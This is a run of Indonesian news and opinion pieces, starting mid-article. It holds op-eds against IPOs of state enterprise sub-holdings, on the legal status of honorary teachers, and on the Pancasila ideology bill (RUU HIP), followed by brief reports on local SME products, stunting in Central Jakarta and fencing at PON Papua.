(KBUMN) telah memilah dan mengelompokkan berbagai lini bisnis BUMN ke dalam sejumlah sub-holding. Sub-sub holding dibentuk melalui proses cherry picking, memilih mata rantai bisnis yang menguntungkan (cream de la cream) agar siap di-IPO. Pemilahan terutama ditujukan pada lini bisnis yang sesuai keinginan para investor asing kapitalis-liberal dan oligarki agar mereka dapat meraih untung maksimal, seperti dipaksakan saat Indonesia mengalami kriris ekonomi/moneter 1997/1998. *Privatisasi Subholding BUMN Melawan Akal Sehat: Harus Ditolak* Rencana IPO sub-holding BUMN telah “didukung” MK melalui Putusan No.61/2020 dan “di-endorse” pula oleh sejumlah guru besar. Pihak asing tidak perlu lagi memaksa. Pemerintah telah “bekerja otomatis” sesuai keinginan kapitalis-oligarkis. Rencana Pemerintahan Jokowi ini harus dihentikan karena banyak hal seperti diuraikan berikut. *Pertama,* sesuai amanat Pasal 33 UUD 1945, melanggar prinsip “penguasaan negara” dan “sebesar-besar kemakmuran rakyat”, terutama karena jika sebagian sahamnya dijual, maka keuntungan BUMN tidak maksimal, tetapi sebagian jatuh kepada investor dan oligarki. Menurut logika akal sehat: *penguasaan negara menjadi absurd jika tidak diiringi perolehan untung maksimal!* *Kedua*, karena profit BUMN turun, maka kemampuan tugas perintisan dan pembangunan daerah pun ikut berkurang. Pada prinsipnya, karena sebagian saham anak-anak usaha BUMN yang profitbale telah dijual, induk holding BUMN hanya tinggal mengelola anak usaha dan lini bisnis yang kurang menguntungkan atau malah yang merugi. Kondisi ini jelas mengurangi kemampuan BUMN untuk melakukan cross subsidy dan pembangunan daerah. *Ketiga*, pemisahan berbagai lini bisnis BUMN menjadi subholding merupakan bentuk kebijakan pengelolaan public utilities berdasarkan pola unbundling. Pola ini merupakan modus yang dipakai negara-negara maju/kapitalis guna menjajah dan menghisap ekonomi negara-negara berkembang. Bukannya menangkal penjajahan asing/liberal, pemerintah Indonesia malah aktif mendukung agenda asing tersebut, dan sejumlah oknum-oknum pejabat yang tergabung oligarki kekuasaan ikut pula berburu rente dalam proses privatisasi tersebut. *Keempat*, proses unbundling pelayanan public utilities di negara-negara maju/liberal telah berdampak pada naiknya tarif energi. Teori ekonomi dan bisnis telah mengkonfirmasi dampak negatif tersebut. Inggris sebagai pionir pola privatisasi/unbundling saat PM Margareth Tatcher berkuasa, saat ini menjadi negara bertarif listrik tertinggi di Eropa. Tercatat konsumen energi di Jerman, Belanda, Belgia dan New Zealand telah memprotes penerapan pola unbundling akibat tarif tinggi. Jika IPO subholding BUMN pola unbundling dilanjutkan, rakyat Indonesia harus siap mengalami hal yang sama! Namun harap dicatat, di tengah penderitaan konsumen energi, pola unbundling justru memberi keuntungan besar bagi para kapitalis-liberal (di Indonesia: keuntungan termasuk dinikmati anggota oligarki). *Kelima*, pernyataan Menteri BUMN Erick Thohir (12/6/2020) bahwa IPO subholding BUMN bertujuan mencari dana murah adalah manipulasi informasi tendensius. Faktanya Pertamina telah memperoleh kredit dengan tingkat bunga rendah *tanpa IPO.* Sejak 2011 hingga awal 2021 total obligasi Pertamina sekitar US$ 12,99 miliar dengan tingkat bunga (kupon) 1,4% - 6,5% (weighted average: sekitar 4,60%). Nilai kupon tersebut ternyata lebih rendah dibanding kupon PGN yang telah IPO, yakni 5,125% (US$ 1,35 miliar, 5/2014). Kupon rata-rata obligasi Pertamina (4,60%) yang tidak go public justru lebih rendah atau hampir sama dengan kupon obligasi sejumlah *BUMN go public.* Misalnya kupon-kupon obligasi Bank Mandiri 4,7% (US$ 2,4 miliar, 4/2020), BNI 8% (Rp 3 triliun, 11/2017), dan Jasa Marga 8% (US$ 300 juta, 12/2017). Ini menujukkan meski tidak go public, Pertamina mampu memperoleh “dana murah” dengan tingkat kupon lebih rendah disbanding kupon BUMN yang sudah IPO. *Keenam,* peringkat utang BUMN malah bisa lebih baik (kupon lebih rendah) jika obligasi dijamin pemerintah. Karena saham negara di Pertamina atau PLN masih 100%, jaminan pemerintah terhadap Pertamina dan PLN otomatis melekat. Dengan jaminan pemerintah, tanpa IPO BUMN justru dapat mengkases dana lebih murah. Bahkan BUMN sering memperoleh hibah atau pijaman bunga 0%, hal yang tidak akan diperoleh oleh BUMN yang sudah go public. *Ketujuh*, pernyataan Erick tentang manfaat IPO subholding guna meningkatkan GCG (30/7/2020) tidak sepenuhnya benar dan cenderung manipulatif. Sebagian besar masalah kinerja BUMN justru berasal dari pemerintah, seperti menempatkan tim sukses menjadi pengurus BUMN, menunggak beban subsidi, memaksakan public service obligation (PSO) tanpa kompensasi atau menjadikan BUMN sebagai sapi perah. Cara terbaik memperbaiki GCG BUMN, pemegang privilege konstitusi seperti Pertamina dan PLN, adalah merubah statusnya menjadi non-listed public company (NLPC), terdaftar di BEI tanpa harus menjual saham. *Kedelapan,* dengan proses unbundling dan cherry picking, maka keuntungan BUMN akan berkurang dan beralih kepada pemegang saham publik. Penurunan untung ini jelas tidak sesuai dengan target yang dijanjikan dalam prospektus saat BUMN menerbitkan obligasi. Hal ini dapat menyebabkan kredibilitas BUMN menurun dan peringkat utangnya akan memburuk (nilai kupon lebih tinggi). Saat ini menurut Moody’s, S&P dan Fitch peringkat investment grade Pertamina masing-masing pada level baa2, BBB, dan BBB. Sebagai kesimpulan, memilih mata rantai bisnis BUMN menguntungkan, dikelompokkan dalam sejumlah subholding, lalu sebagian sahamnya dijual kepada asing dan oligarki atas nama “mencari dana murah” dan “meningkatkan GCG”, merupakan modus penghisapan dan penjajahan kapitalis liberal/oligarki yang harus dihentikan. Dana murah, atau bahkan hibah, terbukti dapat diperoleh Pertamina dan PLN tanpa IPO. GCG dapat ditingkatkan dengan menghentikan intervensi pemerintah dan menjadikan BUMN sebagai non-listed public company. Karena itu, rencana IPO subholding yang anti Pancasila, inkonstitusional dan merugikan rakyat tersebut harus segera dihentikan. Kata Erick Thohir: "BUMN bukan Badan Usaha Milik Nenek Moyang lu”. Presiden Jokowi dan Erick Thohir perlu konsisten dan tidak hipokrit dengan pernyataan ini![] Jakarta, 6 Oktober 2021

Guru Honorer dan Rapor Buruk Penegakan HAM

Oleh Tamsil Linrung SEPERTI dua sisi mata uang, begitulah isu demokrasi dan Hak Asasi Manusia (HAM). HAM adalah mahkota demokrasi, dan demokrasi menjadi pupuk bagi mekarnya perlindungan HAM. Tak heran, penegakan demokrasi dan kebijakan negara seringkali di sorot dari perspektif HAM. Pun demikian dengan permasalahan guru honorer. Kecendrungan negara mengabaikan guru honorer berindikasi pelanggaran HAM. Bila ditelisik, pengabaian ini telah berlangsung lama, bermula saat lahirnya UU No. 5 Tahun 2014 tentang Aparatur Sipil Negara (ASN). Kelahiran UU ASN meminggirkan UU Kepegawaian UU No. 43 Tahun 1999 tentang Pokok-Pokok Kepegawaian sebagai acuan hukum. Perbedaan mencolok di antara keduanya, UU Kepegawaian mengatur Pegawai Tidak Tetap (PTT), sedangkan UU ASN tidak. Meski tidak secara tersurat, guru honorer dan pegawai honorer lainnya dalam UU Kepegawaian tergolong dalam kategori PTT. Kedudukan mereka dipertegas oleh Peraturan Menteri No. 48 Tahun 2005 Tentang Pengangkatan Tenaga Honorer menjadi Calon Pegawai Negeri Sipil (CPNS) jo PP No. 43/2007 jo PP 56/2012. Sedangkan UU ASN tidak mengenal istilah PTT atau tenaga honorer. UU ASN hanya mengenal PNS dan Pegawai Pemerintah dengan Perjanjian Kerja (PPPK) yang merupakan derivatif dari ASN. Di mana posisi guru honorer dalam UU ini? Tidak ada. Bahkan tidak disinggung dalam sepatah kata pun. Artinya, selama ini guru honorer tidak memiliki payung hukum. Padahal, eksistensi mereka nyata, keberadaan mereka diakui institusi sekolah atau pemerintah daerah. Juga sering dibahas oleh Pemerintah sendiri. Sayangnya, pascakekosongan hukum tersebut, perekrutan guru honorer masih dilakukan sejumlah kepala sekolah. Kebijakan sekolah ini dilakukan demi menjaga efektivitas proses belajar mengajar karena suplai guru PNS dari pemerintah berjalan lamban. Jadi, langsung atau tidak, ada peran pemerintah terhadap problem kuantitas guru honorer yang berefek domino kepada problem-problem lainnya. Langsung atau tidak, guru honorer menjadi solusi problem ketersediaan guru Indonesia. Namun, Pemerintah tidak menyiapkan regulasi lain sebagai payung hukum guru honorer. Ini di luar pakem bernegara. Kekosongan hukum ini melahirkan setidaknya dua dugaan. Pertama, bertentangan dengan konstitusi. Pasal 28D ayat (1) UUD 1945 menggaransi bahwa setiap orang berhak atas pengakuan, jaminan, perlindungan, dan kepastian hukum yang adil serta perlakuan yang sama di hadapan hukum. Kedua, berpotensi melawan HAM. Ketiadaan payung hukum berarti ketiadaan perlindungan hukum terhadap hak-hak asasi guru honorer. Sebutlah jenjang karir, kesejahteraan, jaminan pekerjaan, dan seterusnya. Dari perspektif inilah dugaan pelanggaran HAM terjadi. Kita tahu, UU menjamin hak warga negara atas pekerjaan dan kehidupan yang layak, serta hak atas pendidikan. Problem Hulu-Hilir Bila di hulu saja sudah bermasalah, maka tentu perjalanan ke hilir akan mengundang banyak problematika lain. Sejak lahirnya UU ASN, sejak itu pula kita sering mendengar keresahan guru honorer, dari media sosial hingga kanal-kanal pemberitaan formal. Tidak sedikit guru honorer yang merasa terdzolimi mengadu ke Komisi Nasional Hak Asasi Manusia. Pengaduan ini datang berbagai wilayah, secara individu maupun organisasi. Dalam rapat kerja dengan Panitia Khusus (Pansus) Guru dan Tenaga Kependidikan Honorer DPD, Komnas HAM mengakui fakta itu. Karena sifatnya nasional, Komnas HAM lalu membentuk tim khusus untuk mendalami dan mendorong, agar penanganan dan penyelesaiannya tidak kasus per kasus. Tim yang disahkan dalam Rapat Paripurna Komnas HAM tersebut telah bekerja dan hasilnya sudah dilaporkan kepada presiden. Namun, hingga hari ini, Presiden Joko Widodo belum merespon laporan tersebut, baik secara terbuka atau pun melalui mekanisme antara lembaga. Pansus Guru Honorer DPD berharap Presiden Jokowi segera merespon laporan Komnas HAM. Tak ada kata terlambat, terlebih untuk sesuatu yang baik. Bila perlu, Presiden segera membentuk tim pengelolaan guru nasional yang beranggotakan lintas kementerian dan lembaga, sehingga penyelesaian permasalahan guru dilakukan secara komprehensif, mendalam, dan berjangka panjang. Bukan dalam permasalahan guru honorer saja keberpihakan Pemerintahan Jokowi pada penegakan HAM dipertanyakan. Dalam kasus Tes Wawasan Kebangsaan Komisi Pemberantasan Korupsi (KPK), misalnya, Komnas HAM telah melaporkan 11 dugaan pelanggaran HAM kepada Presiden, namun juga belum mendapat respon. Desember tahun lalu, Setara Institut menyatakan kinerja HAM di bawah pemerintahan Presiden Joko Widodo dan Wakil Presiden Ma’ruf Amin sepanjang 2020 menurun dibandingkan 2019. Sementara 2019 penegakan HAM dalam penilaian Kontras justru berjalan mundur. Penegakan HAM akan selalu menjadi ukuran berjalannya demokrasi, karena indeks HAM terdiri atas sejumlah indikator yang mencerminkan cara dan kualitas negara melindungi hak dasar warga negaranya. Inidikator HAM setidaknya terbagi atas hak sipil dan politik serta hak ekonomi, sosial, dan budaya. Hak sipil dan politik antara lain mencakup hak hidup, kebebasan beragama, serta kebebasan berekspresi dan menyatakan pendapat. Sedangkan hak ekonomi, sosial, dan budaya mencakup hak atas kesehatan, pendidikan, pekerjaan, hak tanah, serta hak atas budaya. Dari indikator-indikator itu pula naluri kita terusik dilema kehidupan guru honorer. Selama ini Pemerintah menggadang-gadang program PPPK sebagai jalan keluar terbaik. Namun, program ini nyatanya memunculkan berbagai persoalan baru dan mendapat penolakan dari guru dan organisasi guru honorer. Fakta itu mengindikasikan, agenda pemerintah mengangkat guru honorer menjadi ASN melalui jalur PPPK menghadapi tantangan yang tidak mudah. Penyelesaian masalah guru honorer agaknya masih akan berlarut. Pansus Guru dan Tenaga Kependidikan Honorer DPD RI pada saatnya nanti tentu akan memberikan rekomendasi. Namun, sembari menyelesaikan seluruh problem guru honorer, ada baiknya pemerintah mengupayakan payung hukum bagi tenaga honorer, meski sifatnya sementara. Sebab, hanya dengan tangan hukumlah negara bisa melindungi hak-hak warga negaranya. *) Penulis adalah Ketua Pansus Guru dan Tenaga Kependidikan Honorer.

Menolak Lupa RUU HIP & BPIP

Oleh: Muhammad Chirzin* PADA tanggal 16 Juli 2020 Presiden RI Jokowi mengutus satu Menko dan lima Menteri demi sepucuk surat soal RUU BPIP. Mereka diterima oleh Ketua Dewan Perwakilan Rakyat, Puan Maharani, dalam sebuah konferensi pers di DPR RI Media Center. Hal itu telah mengaburkan antara RUU BPIP (Rancangan Undang-Undang tentang Badan Pembinaan Ideologi Pancasila) dengan RUU HIP (Rancangan Undang-Undang tentang Haluan Ideologi Pancasila), serta mencederai perasaan jutaan demonstran yang menuntut dibatalkannya RUU HIP tersebut. Negara Kesatuan Republik Indonesia ini tidak lahir tiba-tiba. Ia terwujud melalui perjalanan panjang penduduk wilayah kepulauan yang terdiri atas berbagai suku dengan berbagai adat istiadat, bahasa, agama, dan kepercayaannya. Masing-masing suku dan kelompok hidup bersahaja pada wilayahnya dengan segala ragam kekayaan alamnya. Pancasila adalah pandangan hidup bangsa Indonesia, dasar Negara Kesatuan Republik Indonesia. Bangsa Indonesia menghayati dan meyakini bahwa kemerdekaan Indonesia dari tangan penjajah adalah berkat rahmat Allah Yang Maha Kuasa, melalui perjuangan yang penuh pengorbanan pikiran, jiwa, dan raga, serta nyawa. Maka, menjadi tanggung jawab seluruh warga negara untuk menjaga kelangsungannya. Bung Karno menyampaikan pidato pada 1 Juni 1945 menjawab tantangan Dr. Radjiman Widyodiningrat tentang perlunya suatu filosophische grondslag, dasar falsafah/dasar negara bagi Negara Indonesia yang merdeka bernama Pancasila. Dalam perjalanannya Pancasila mengalami pengayaan redaksional dan semantik, hingga menjadi rumusan final pada Pembukaan UUD Negara Republik Indonesia tahun 1945 yang disahkan pada 18 Agustus 1945. Para pendiri bangsa menyelami pandangan masyarakat Nusantara masa lalu dan membangun tatanan baru untuk Indonesia modern. Pancasila menjadi dasar, falsafah, pandangan hidup, dan pemersatu bangsa Indonesia dari Sabang sampai Merauke. Nusantara menjadi pusat persemaian dan penyerbukan silang budaya yang mengembangkan pelbagai corak kebudayaan. Pancasila merupakan satu kesatuan dari lima sila, yakni Ketuhanan Yang Maha Esa, Kemanusiaan yang adil dan beradab, Persatuan Indonesia, Kerakyatan yang dipimpin oleh hikmat kebijaksanaan dalam permusyawaratan/perwakilan, dan Keadilan sosial bagi seluruh rakyat Indonesia. Pancasila adalah jiwa seluruh rakyat Indonesia yang memberi kekuatan bangsa dan membimbingnya dalam mengejar kehidupan lahir dan batin dalam masyarakat yang adil dan makmur. Pancasila penuntun sikap dan tingkah laku setiap manusia Indonesia dalam kehidupan bermasyarakat, berbangsa, dan bernegara. Pancasila cerminan suara hati nurani manusia Indonesia yang menggelorakan semangat dan memberikan keyakinan serta harapan akan hari depan yang lebih baik. Pancasila memberi keyakinan bahwa kebahagiaan hidup akan tercapai apabila didasarkan atas keselarasan dan keseimbangan dalam kehidupan sebagai pribadi, anggota masyarakat, anak bangsa, maupun warga dunia. Pancasila menempatkan manusia pada keluhuran harkat dan martabatnya sebagai makhluk Tuhan Yang Maha Esa, dengan kesadaran untuk mengembangkan kodratnya sebagai makhluk pribadi maupun sosial. Kemajuan seseorang ditentukan oleh kemauan dan kemampuannya dalam mengendalikan diri dan kepentingannya dalam melaksanakan kewajiban sebagai warga masyarakat dan negara. Dengan sila pertama manusia Indonesia menyatakan percaya dan takwa kepada Tuhan Yang Maha Esa. Sila pertama menjamin kemerdekaan tiap-tiap penduduk Indonesia untuk memeluk agama dan beridabah menurut ajaran agamanya. Manusia Indonesia saling menghormati dan bekerja sama membina kerukunan hidup sesama umat beragama. Kebebasan beragama merupakan salah satu hak paling asasi di antara hak-hak asasi manusia, karena bersumber dari martabat manusia sebagai makhluk ciptaan Tuhan. Sila kedua menjunjung tinggi nilai-nilai kemanusiaan dan mendorong kegiatan kemanusiaan, membela kebenaran, dan keadilan, serta mengembangkan sikap hormat-menghormati, dan bekerja sama dengan bangsa-bangsa lain di dunia. Dengan sila kedua manusia Indonesia diakui dan diperlakukan sesuai dengan harkat dan martabatnya sebagai makhluk Tuhan Yang Maha Esa yang sama derajat, hak, dan kewajibannya. Dengan sila ketiga manusia Indonesia menempatkan persatuan, kesatuan, serta kepentingan bangsa dan negara di atas kepentingan pribadi, kelompok, dan golongan. Persatuan dikembangkan atas dasar kebhinnekaan, serta kerelaan berkorban untuk kepentingan bangsa dan negara. Dengan sila keempat manusia Indonesia sebagai warga masyarakat dan negara mempunyai kedudukan, hak, dan kewajiban yang sama. Keputusan menyangkut kepentingan bersama dilakukan dengan musyawarah dan mufakat menggunakan akal sehat, sesuai dengan hati nurani yang luhur, dan dipertanggungjawabkan secara moral terhadap Tuhan Yang Maha Esa; menjunjung tinggi harkat dan martabat manusia, nilai-nilai kebenaran dan keadilan, serta mengutamakan persatuan dan kesatuan, demi kepentingan bersama. Permusyawaratan dalam demokrasi didasarkan atas asas rasionalitas dan keadilan, bukan subjektivitas ideologis dan kepentingan, didedikasikan bagi kepentingan banyak orang, berorientasi jauh ke depan, melibatkan dan mempertimbangkan pendapat semua pihak, yang dapat menangkal dikte minoritas elit penguasa dan klaim mayoritas. Dengan sila kelima manusia Indonesia menyadari hak dan kewajiban yang sama untuk menciptakan keadilan sosial dalam kehidupan masyarakat Indonesia. Untuk itu dikembangkan sikap adil terhadap sesama, menjaga keseimbangan antara hak dan kewajiban, serta menghormati hak-hak orang lain. Pada tahun 2020 Badan Legislasi Dewan Perwakilan Rakyat Republik Indonesia menyusun Naskah Akademik Rancangan Undang-Undang tentang Haluan Ideologi Pancasila (RUU HIP) dengan pokok-pokok sebagai berikut. Pasal Satu HIP: Pancasila adalah dasar negara, dasar filosofi negara, ideologi negara, dan cita hukum negara untuk mewujudkan tujuan negara Indonesia yang merdeka, bersatu, serta berdaulat dalam tata masyarakat adil dan makmur sebagaimana dimaksud dalam Pembukaan Undang-Undang Dasar Negara Republik Indonesia Tahun 1945. Ideologi Pancasila adalah cita-cita dan keyakinan seluruh rakyat Indonesia dalam berjuang dan berupaya bersama sebagai suatu bangsa yang berkedaulatan rakyat dengan berdasar kepada Ketuhanan Yang Maha Esa, Kemanusiaan yang adil dan beradab, Persatuan Indonesia, dan Kerakyatan yang dipimpin oleh hikmat kebijaksanaan dalam permusyawaratan perwakilan, serta dengan mewujudkan suatu keadilan sosial bagi seluruh rakyat Indonesia dalam bingkai Negara Kesatuan Republik Indonesia yang ber-Bhinneka Tunggal Ika. Haluan Ideologi Pancasila adalah pedoman bagi cipta, rasa, karsa, dan karya seluruh bangsa Indonesia dalam mencapai keadilan dan kesejahteraan sosial dengan semangat kekeluargaan dan gotong royong untuk mewujudkan suatu tata masyarakat Indonesia yang adil dan makmur berdasarkan ketuhanan, kemanusiaan, kesatuan, kerakyatan/demokrasi yang berkeadilan sosial. Pembangunan Nasional adalah upaya mewujudkan tata masyarakat adil dan makmur yang tecermin dalam kebijakan pembangunan nasional di segala bidang kehidupan, sejak dari menyusun dan menetapkan perencanaan, pelaksanaan, hingga evaluasi yang berlandaskan pada ilmu pengetahuan dan teknologi nasional, dengan berpedoman pada Haluan Ideologi Pancasila. Demokrasi Pancasila adalah demokrasi politik dan demokrasi ekonomi yang berprinsip pada kedaulatan rakyat dalam penyelenggaraan negara berdasarkan nilai-nilai Pancasila, Undang-Undang Dasar Negara Republik Indonesia Tahun 1945, dan Negara Kesatuan Republik Indonesia yang ber-Bhineka Tunggal Ika. Pembinaan Haluan Ideologi Pancasila adalah proses untuk meningkatkan internalisasi dan implementasi Haluan Ideologi Pancasila berupa upaya, tindakan, dan kegiatan yang dilakukan secara tertib, efisien, ekonomis, efektif, transparan, terencana, terukur, terarah, dan bertanggung jawab, dengan memperhatikan rasa keadilan, dan kepatutan dalam penyelenggaraan negara, serta dalam kehidupan berbangsa dan bernegara. Masyarakat Pancasila adalah masyarakat adil dan makmur yang tertib, aman, tenteram, serta memiliki semangat dan kesadaran bekerja dalam gotong royong dengan semangat kekeluargaan untuk mewujudkan cita-cita setiap rakyat Indonesia yang menggambarkan suatu tata Masyarakat Pancasila yang berketuhanan. Pasal Kedua HIP: Pokok-pokok pikiran dan fungsi Haluan Ideologi Pancasila. Pokok-pokok pikiran HIP memiliki prinsip dasar yang meliputi ketuhanan, kemanusiaan, kesatuan, kerakyatan/demokrasi, dan keadilan sosial. Kelima prinsip dasar tersebut merupakan jiwa dan daya penggerak perjuangan rakyat dan bangsa Indonesia yang mencerminkan kepribadian bangsa Indonesia, yaitu gotong-royong. Kepribadian bangsa Indonesia merupakan kepribadian yang dibangun berdasarkan landasan ideal Pancasila, landasan konstitusional Undang-Undang Dasar Negara Republik Indonesia Tahun 1945, dan landasan struktural pemerintahan yang sah dalam bingkai Negara Kesatuan Republik Indonesia yang berBhinneka Tunggal Ika. Haluan Ideologi Pancasila (HIP) memiliki fungsi sebagai pedoman bagi Penyelenggara Negara dalam menyusun dan menetapkan perencanaan, pelaksanaan, dan evaluasi terhadap kebijakan Pembangunan Nasional, baik di tingkat pusat maupun di tingkat daerah, untuk mewujudkan penyelenggaraan pemerintahan negara yang demokratis berdasarkan asas-asas umum pemerintahan yang baik, dan mewujudkan mekanisme kontrol di dalam kehidupan berbangsa dan bernegara. HIP sebagai pedoman bagi Penyelenggara Negara dalam Menyusun, dan menetapkan perencanaan, pelaksanaan, serta evaluasi terhadap kebijakan pembangunan nasional di bidang politik, hukum, ekonomi, sosial, budaya, mental, spiritual, pendidikan, pertahanan, dan keamanan yang berlandaskan pada ilmu pengetahuan dan teknologi guna mewujudkan masyarakat adil dan makmur yang berketuhanan. HIP pedoman bagi setiap warga negara Indonesia dalam kehidupan berbangsa dan bernegara, dan pedoman instrumentalistik yang efektif untuk mempertautkan bangsa yang beragam (bhinneka) ke dalam kesatuan (ke-ika-an) yang kokoh. Tujuan Pancasila adalah terwujudnya tujuan negara Indonesia yang merdeka, bersatu, serta berdaulat dalam tata masyarakat adil dan makmur sebagaimana dimaksud dalam Pembukaan Undang-Undang Dasar Negara Republik Indonesia Tahun 1945. Sendi pokok Pancasila adalah keadilan sosial berupa keadilan dalam hubungan antara manusia sebagai orang-perorangan terhadap sesama, keadilan dalam hubungan antara manusia dengan masyarakat, dan keadilan dalam hubungan antara penyelenggara negara dengan warga negara. Keadilan sosial itu meliputi bidang politik, hukum, ekonomi, sosial, budaya, pertahanan, dan keamanan. Keadilan sosial diwujudkan dengan implementasi prinsip dasar Haluan Ideologi Pancasila (HIP) menuju terciptanya tata masyarakat adil dan makmur yang mencerminkan kemajuan dan kemandirian bangsa, serta kesejahteraan sosial. Ciri pokok Pancasila adalah keadilan dan kesejahteraan sosial dengan semangat kekeluargaan yang merupakan perpaduan prinsip ketuhanan, kemanusiaan, kesatuan, kerakyatan/demokrasi politik, dan ekonomi dalam satu kesatuan. Ciri Pokok Pancasila berupa Trisila, yaitu sosio-nasionalisme, sosio-demokrasi, serta ketuhanan yang berkebudayaan yang terkristalisasi dalam Ekasila, yaitu gotong-royong. (cetak tebal dari penulis) Mencermati dengan saksama Naskah Akademik Rancangan Undang-Undang tentang Haluan Ideologi Pancasila (RUU HIP) Badan Legislasi Dewan Perwakilan Rakyat Republik Indonesia Tahun 2020 Bab I dan Bab II sampai dengan pasal 7 tersebut, penulis berkesimpulan bahwa Haluan Ideologi Pancasila itu disusun berdasarkan rumusan Pancasila yang dipidatokan Ir. Soekarno pada 1Juni 1945, bukan berdasarkan Pancasila rumusan Piagam Jakarta tanggal 22 Juni 1945, dan bukan pula berdasarkan Pancasila rumusan final tanggal 18 Agustus 1945. Pancasila merupakan satu kesatuan utuh dan terpadu yang tak boleh dipisah-pisahkan satu dari lainnya. Ketuhanan Yang Maha Esa menjiwai sila kemanusiaan yang adil dan beradab, persatuan Indonesia, kerakyatan yang dipimpin oleh hikmat kebijaksanaan dalam permusyawaratan/perwakilan, dan keadilan sosial bagi seluruh rakyat Indonesia. Pengamalan Pancasila merupakan perjuangan utama dalam kehidupan bermasyarakat, berbangsa, dan bernegara. Manusia Indonesia niscaya bertuhan, berkemanusiaan, bepersatuan, dan berkerakyatan, serta berkeadilan sosial. Pancasila sebagai dasar negara niscaya menjadi landasan Undang-Undang Dasar dan Undang-undangan lain serta peraturan-peraturan turunannya. Segala Undang-Undang dan peraturan yang tidak sejalan dengan Pancasila, sejak hari proklamasi Jumat 17 Agustus 1945 hingga kini, harus ditinjau ulang, diperbaiki, atau dibatalkan. Amandemen UUD 1945 yang dipandang telah menyimpang dari nilai-nilai Pancasila harus diamandemen kembali. RUU HIP yang tidak sejalan dengan jiwa Pancasila dan UUD 1945 harus diuji kesahihannya, dan tidak cukup dilakukan hanya di ruang sidang DPR RI saja. Pancasila sekali-kali tidak boleh diringkas menjadi Trisila, lalu diperas menjadi Ekasila, gotong royong! *) Guru Besar Tafsir Al-Qur’an UIN Sunan Kalijaga Yogyakarta dan Dosen Pascasarjana Universitas Yogyakarta.

Pemkab PPU Usulkan 12 Produk UMKM Lokal Masuk ke Ritel Modern

Samarinda, FNN - Pemerintah Kabupaten Penajam Paser Utara (PPU) sedang mengusulkan 12 produk Usaha Mikro Kecil dan Menengah (UMKM) lokal untuk masuk dalam penjualan di ritel modern seperti Indomaret dan Alfamidi. "Kami telah koordinasi dengan pihak Indomaret dan Alfamidi yang ada di kabupaten ini, untuk bekerja sama dengan UMKM lokal," ucap Kabid Koperasi dan UKM Dinas Koperasi, Usaha Kecil Menengah, Perindustrian dan Perdagangan (Diskukmperindag) PPU Purwantara di Panajam, Rabu. Dikatakannya, pihaknya bakal membantu produk UMKM lokal agar produk mereka dapat dijual di toko ritel modern yang tersebar di kabupaten ini. Saat ini toko ritel modern cukup banyak dan mulai bermunculan di Benuo Taka sebutan lain untuk Kabupaten Penajam Paser Utara. "Kami sudah melakukan MoU dengan Indomaret dan Alfamidi dan sudah kami ajukan 12 produk UMKM lokal ke ritel modern tersebut," ucapnya. Purwantara terus mengatakan 12 produk UMKM lokal yang di ajukan itu masih dilakukan seleksi oleh pelaku usaha ritel modern tersebut. Untuk diketahui, ucapnya, dari 12 produk UMKM lokal tersebut diantaranya amplang, roti, gula merah dan produk-produk unggulan lainnya yang ada di Kabupaten PPU. "Saya berharap nantinya produk-produk yang telah diajukan itu semuanya dapat memenuhi standar sesuai dengan ketentuan dari toko ritel tersebut," ujarnya. (mth)

Sebanyak 10 Kelurahan di Jakarta Pusat Masuk Prioritas Penanganan Stunting

Jakarta, FNN - Sedikitnya 10 kelurahan di Jakarta Pusat hingga saat ini masuk prioritas untuk peningkatan gizi kepada anak-anak dalam mengatasi "stunting" atau gizi buruk. "Berdasarkan hasil survei, ada 10 kelurahan prioritas dalam rangka penanganan 'stunting'. Makanya itu menjadi perhatian serius," kata Wali Kota Jakarta Pusat Dhany Sukma pada panen ikan di Embung Pangeran Jayakarta, Sawah Besar Jakarta Pusat, Rabu. Stunting adalah masalah kurang gizi kronis karena kurangnya asupan gizi dalam waktu yang cukup lama, sehingga mengakibatkan gangguan pertumbuhan pada anak yakni tinggi badan anak lebih rendah atau pendek (kerdil) dari standar usianya. Dhany mengatakan pihaknya akan melakukan pendataan ibu hamil, maupun kelompok usia anak-anak sehingga dapat dilakukan intervensi, baik dari lingkungan sekitar maupun pemenuhan gizi. Pengentasan 'stunting' juga dilakukan salah satunya melalui pemberian ikan hasil panen kepada warga yang termasuk dalam program data terpadu kesejahteraan sosial (DTKS). Sementara itu, Kepala Sudin Ketahanan Pangan, Kelautan dan Pertanian (KPKP) Kota Administrasi Jakarta Pusat Penty Yunesi mengatakan ikan hasil panen di Embung Jayakarta diberikan salah satunya di Kelurahan Mangga Dua Selatan. "Untuk kontribusi penurunan 'stunting', kebetulan ini Kelurahan Mangga Dua Selatan masuk ke dalam kriteria 'stunting'," kata Penty. Pelaksanaan panen ikan di Embung Jayakarta juga dilakukan sebelum embung tersebut difungsikan sebagai penampungan air dalam mengantisipasi banjir. Dalam setahun, setidaknya Sudin KPKP Jakarta Pusat memberikan sekitar 100 ribu benih ikan melalui unit pelaksana teknis (UPT) pusat produksi inspeksi dan sertifikasi hasil perikanan. (mth)

Jabar Penuhi Target Dua Emas Anggar PON Papua

Merauke, FNN - Kontingen Jawa Barat sukses memenuhi target dua medali emas dalam cabang olahraga anggar pada Pekan Olahraga Nasional (PON) XX Papua. Jawa Barat pada hari ketiga berhasil menambah satu medali emas melalui nomor Degen Individual Putra yang diraih atlet Anggi Williansyah setelah mengalahkan atlet asal Riau Muhammad Fajri di final dengan skor 15 - 14. "Saya mengucapkan sekali lagi puji dan syukur kehadirat Allah kita bisa meraih lagi juara emas kedua. Sesuai dengan target tapi kami mudah-mudahan bisa melebihi dari target itu," kata Ketua Ikatan Anggar Seluruh Indonesia (IKASI) Jawa Barat, Asyanti Rozana, di Gedung Serbaguna Gereja St Yoseph, Merauke, Rabu. Asyanti Rozana menambahkan bahwa kontingen Jawa Barat masih berambisi meraih medali emas untuk kategori beregu pada cabang olahraga anggar yang mulai dipertandingkan pada Kamis (7/10). "Kalau kita lihat seluruh provinsi bermain bagus sekali dan mereka bermain luar biasa tapi saya masih bisa melihat peluang kemungkinan bisa mendapatkan emas di nomor beregu," ujar Asyanti. Sebelumnya dalam pertandingan final nomor Degen Individual Putra antara Anggi Williansyah dari Jawa Barat melawan Muhammad Fajri dari Riau berlangsung ketat. Kedua atlet saling mengejar poin hingga saat terakhir. Bahkan kedudukan sempat 14 - 14 sebelum akhirnya Anggi berhasil mendapatkan poin terakhir yang mengantarkannya meraih medali emas. Jawa Barat pada hari Senin (4/10) juga telah mendapatkan satu medali emas melalui e Floret Individual Putri yang diraih oleh Leoda Lundy Winona yang berhasil mengalahkan lawannya asal Riau Nurul Aini dengan skor 15 -10. (mth)

